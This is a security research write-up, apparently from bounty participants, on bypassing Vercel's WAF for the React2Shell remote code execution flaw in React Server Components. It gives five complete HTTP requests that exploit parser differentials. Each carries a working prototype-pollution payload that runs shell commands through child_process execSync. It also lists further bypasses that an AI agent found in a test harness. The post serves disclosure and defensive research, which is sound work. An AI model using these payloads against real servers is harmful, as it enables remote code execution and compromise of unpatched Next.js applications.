React2Shell (CVE-@parcel/rsc, @vitejs/plugin-rsc, and rwsdk.
We won’t be diving into the full internals of the bug here. If you want a solid technical breakdown of how React2Shell works, I recommend the deep dive Vercel CEO Guillermo Rauch (rauchg) shared in his React2Shell thread, or the original finder Lachlan Davidson’s PoC.
When a vulnerability like this drops, “just patch it” is easier said than done. Upgrading to the latest version can break production, affect users, or you may have a server using the affected package without even realizing it.
While development teams work through those patches, WAF providers can help mitigate the threat at scale by blocking malicious HTTP requests that trigger the vulnerability.
The WAF grammar problem
WAFs are useful, but they are never bulletproof. If you push hard enough, you can usually find a bypass. The fundamental issue is what I call grammar un-equivalence: a WAF might parse an HTTP request one way, while the backend, whether that is Node.js, Next.js, Apache, or something else, parses it another way. When that happens, a payload that looks harmless to the WAF can become malicious once the backend interprets it.
HTTP is full of messy, context-sensitive grammar, and modeling every backend interpretation perfectly is hard. That is why generic WAFs designed to “stop everything” almost always miss things, they do not have the exact context of how your backend parses requests. Somewhere in the gap between the WAF, reverse proxy, framework, and application server, payloads slip through.
Finding these bypasses is not easy, but a persistent and creative attacker will still get through. Vercel did something pretty unusual to test that assumption, they put up a massive $50,000 bounty for every unique WAF bypass. In practice, that turned into a crowdsourced WAF bypass challenge, and researchers were suddenly incentivized to find parser differentials before real attackers did. Per their writeup, 116 researchers participated, 20 unique bypass techniques were validated, and Vercel paid out over $1 million in bounties, of which our team earned $170k. Props to Vercel for being creative, hosting this challenge, and turning the research community into collaborators who strengthened the WAF in days.
Vercel controls a fairly uniform Node.js HTTP stack, so matching backend parsing is more tractable for them than for most providers. The same gaps are what future attacks will target.
Here’s how we found them.
Understanding the WAF
First, we wanted to figure out how the WAF identifies attacks. After a few pokes, it seemed like it was blocking on :constructor. The next question is where exactly does it detect this pattern?
A basic multipart request looks like this:
POST / HTTP/2Host: localhostContent-Type: multipart/form-data; boundary=yContent-Length: [...auto]
--yContent-Disposition: form-data; name="foo"
bar--y--There’s a usual routine we go through to understand WAF vs backend behavior. Here’s part of the checklist that came to mind.
Our target is to find differentials between WAF and backend. While only some might be exploitable, or we might need to combine multiple ones. To precisely understand the behavior of WAF and what request is being passed to backend, we quickly deployed a hello-world Next.js on Vercel with a debug endpoint that echoed the backend’s parsed result.
After poking around the WAF, we got an initial guess of the WAF’s detection flow.
Wonderful! The WAF ignores data outside the boundary:
POST / HTTP/2Host: localhostContent-Type: multipart/form-data; boundary=yContent-Length: [...auto]
garbage--yContent-Disposition: form-data; name="foo"
bar--y--garbageAnd it only detects keywords in parsed form values. So if we can make the WAF and backend disagree on the boundary, we’re in.
This almost gave us bypass 1 instantly, even before fully trying.
Bypass 1: duplicate boundary parameter
POST / HTTP/2Host: nextjs-cve-hackerone.vercel.appNext-Action: xContent-Type: multipart/form-data; boundary=y; boundary=xContent-Length: [...auto]
--yContent-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('echo $VERCEL_PLATFORM_PROTECTION').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_formData":{"get":"$1:constructor:constructor"}}}--yContent-Disposition: form-data; name="1"
"$@0"--y--The payload is mostly from @maple3142. We added an extra boundary=x in the Content-Type header and changed the JS code to show command output in the response header. The WAF thought the boundary was x and ignored the entire body. The backend thought it was y and parsed it normally.
After the first success, we got excited and wanted to find more.
Updating our observations
After more poking, we had a slightly updated picture of the WAF.
We really wanted to exploit that filename behavior since content wouldn’t be sanitized if filename was present. The backend also supported RFC 5987 style filename*=utf8''%61, but no luck there. However, while testing non-UTF8 bytes in the boundary, bypass 2 popped up unexpectedly.
Bypass 2: non-UTF8 bytes in headers
POST / HTTP/1.1Host: nextjs-cve-hackerone.vercel.appNext-Action: xContent-Type: multipart/form-data; boundary="y"; a="b<0x88>"Content-Length: [...auto]
--yContent-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('echo $VERCEL_PLATFORM_PROTECTION').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_formData":{"get":"$1:constructor:constructor"}}}--yContent-Disposition: form-data; name="1"
"$@0"--y--At first we were using y<0x88> as the boundary and found it just bypassed the WAF. After simplifying, we figured out the WAF simply failed when encountering non-UTF8 bytes in any header. And when it failed, it forwarded the request without sanitization. Two bypasses down, time to sit back and look at what we might have missed.
Bypass 3: UTF-16LE charset
Actually, there was one weird thing. When we specified charset=utf16 in the Content-Type header within multipart, the backend returned undefined for the value. This got us curious, so we dug into the backend parser.
Turns out busboy supports several charsets including utf16le and ucs2 which are treated as UTF-16. There’s even a buggy base64 mode that encodes instead of decodes. This gave us bypass 3:
POST / HTTP/2Host: nextjs-cve-hackerone.vercel.appNext-Action: xContent-Type: multipart/form-data; boundary="y"Content-Length: [...auto]
--yContent-Disposition: form-data; name="0"Content-Type: text/plain; charset=utf16le
{<0x00>"<0x00>t<0x00>h<0x00>e<0x00>n<0x00>"<0x00>[...UTF-16LE encoded payload]--yContent-Disposition: form-data; name="1"
"$@0"--y--By adding Content-Type: text/plain; charset=utf16le in the multipart field, busboy decodes the value with ucs2Slice. This let us hide :constructor in UTF-16LE encoding. The WAF scanned raw bytes and saw nothing suspicious.
The WAF evolves
After these three, we took a nap and waited for Vercel to patch. Half a day later, we woke up and checked the WAF behavior again.
Hmm… “block request if charset is not utf8”? That seems really hard to get right. A quick check confirmed our suspicion.
Bypass 4: duplicate Content-Type in multipart field
POST / HTTP/2Host: nextjs-cve-hackerone.vercel.appNext-Action: xContent-Type: multipart/form-data; boundary="y"Content-Length: [...auto]
--yContent-Disposition: form-data; name="0"Content-Type: text/plain; charset=utf16leContent-Type: text/plain; charset=utf8
{<0x00>"<0x00>t<0x00>h<0x00>e<0x00>n<0x00>"<0x00>[...UTF-16LE encoded payload]--yContent-Disposition: form-data; name="1"
"$@0"--y--With multiple Content-Type headers in a multipart field, we simply made the WAF and backend disagree. The WAF saw charset=utf8 and let it through. Busboy used the first one (charset=utf16le) and decoded our payload.
At this point, we were pretty confident this couldn’t be done right. There’s just too much parsing differential in every part of HTTP. But before ending our game, there was still one advantage we hadn’t fully exploited: “WAF ignores garbage outside boundary.” If we could make WAF and backend disagree on the boundary itself, we could still bypass.
Bypass 5: trailing space in boundary end marker
The easy path (duplicate boundary=) was patched. So we focused on single boundary parsing quirks. Escaping inside quotes was identical. Non-UTF8 was blocked. The WAF accepted boundary= y while busboy treated it as malformed, but that gave us nothing. Until we found that the WAF accepted trailing spaces in the boundary end marker, while the backend didn’t:
POST / HTTP/2Host: nextjs-cve-hackerone.vercel.appContent-Type: multipart/form-data; boundary="y"Next-Action: xContent-Length: [...auto]
--y----yContent-Disposition: form-data; name="foo"
1--yContent-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('echo $VERCEL_PLATFORM_PROTECTION').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_formData":{"get":"$1:constructor:constructor"}}}--yContent-Disposition: form-data; name="1"
"$@0"--y--Adding --y-- (with a trailing space) at the beginning of the body made the WAF think the form had ended. The backend saw it as garbage and hadn’t started yet. Everything below was treated as garbage by the WAF and ignored.
The final evolution
After our fifth bypass, we noticed Vercel had significantly shifted their strategy. We started hunting for a gadget that would let us smuggle :constructor (using encoding) inside _response:. But before we could find it, another team beat us to it and Vercel rolled out a patch.
With many researchers poking at the WAF simultaneously, they likely realized parsing differentials would never end. Here’s the final flow we observed.
This entirely eliminated HTTP parsing differentials between the WAF and backend, though with its own tradeoffs in performance and potential false positives.
With Gemini 2.5 Pro
After the challenge ended, we tested whether Gemini could find the same bypasses, or maybe even new ones. The black-box setup was not very effective. When we only provided the URL-encoded payload and asked the models to find bypasses, they mostly burned tokens. They needed a way to probe the WAF, observe the feedback, and iteratively adjust the payload.
The models performed much better in a white-box environment. We gave them the actual WAF source which we interpreted from the bypasses, Coraza, and set up a local environment using the Vercel WAF environment. The harness gave the model simple tools to read the source and send probes through the WAF:
With that setup, the model found every bypass we found manually. It can also find a few more with the right prompting, but we’ll leave those for the reader to explore. Here’s the harness confirming the bypasses, flag included:
### 🏆 Confirmed Bypasses (Flag Captured)
These 7 techniques successfully bypassed the WAF and executed the RCE payload to retrieve the flag: HACKTRON{p4rs3r_d1ff3r3nt14l_g0_vs_n0d3js_brrrr}.
1. RFC 2231 Continuation (filename*0) • Payload: Content-Disposition: form-data; name="0"; filename*0="broken" • Mechanism: Go (Coraza) supports RFC 2231 parameter continuations and reassembles filename. Busboy (Node.js) does not support continuations and ignores filename*0. • Result: Coraza sees a File (skips inspection). Busboy sees a Field (processes payload).2. Split Continuation (filename*0, filename*1) • Payload: Content-Disposition: form-data; name="0"; filename*0="bro"; filename*1="ken" • Mechanism: Same as above, demonstrating reassembly of multiple parts.3. Uppercase Continuation (FILENAME*0) • Payload: Content-Disposition: form-data; name="0"; FILENAME*0="broken" • Mechanism: Go is case-insensitive for parameters. Busboy ignores uppercase/mixed-case variations of filename*0.4. Mixed Case Continuation (FiLeNaMe*0) • Payload: Content-Disposition: form-data; name="0"; FiLeNaMe*0="broken" • Mechanism: Same as above.5. Boundary Confusion (Duplicate Parameter) • Header: Content-Type: multipart/form-data; boundary=real; boundary=fake • Mechanism: Busboy uses the first boundary (real). Coraza uses the last boundary (fake). We hide the malicious payload inside the real boundary structure, which Coraza ifake boundary.6. UTF-16LE Encoding Bypass • Header: Content-Type: text/plain; charset=utf-16le • Mechanism: Coraza fails to decode the UTF-16LE encoded payload before inspection, missing the __proto__ pattern. Busboy respects the charset and decodes it correctly.7. UCS-2 Encoding Bypass • Header: Content-Type: text/plain; charset=ucs-2 • Mechanism: Same as UTF-16LE, using an alias supported by Node.js but likely not handled by Coraza's inspection logic.
CWD: /Users/msrk/Documents/research/ai/hacking/test/hacktron/flash | Press ! for shell mode | AGENT BASH ENABLED
> thats all? keep looking, there are moreGiven the right context, feedback, and a working environment, the models reached every bypass we found by hand. You can try the WAF environment yourself using the Vercel WAF environment and see the results.
Conclusion
WAFs are not bulletproof, they will break under enough pressure. Patching the underlying bug should always be the first priority.
Given the circumstances of React2Shell, Vercel’s response was the right call. They knew exactly where the WAF would fall short, and instead of pretending otherwise, they incentivized the bypasses.
It is one of the fastest and most creative responses to a zero-day I’ve ever seen, you essentially recruit the entire research community to stress-test it. This seems to have worked well, as per Vercel’s own writeup, the WAF blocked over 6 million exploit attempts in the weeks following disclosure.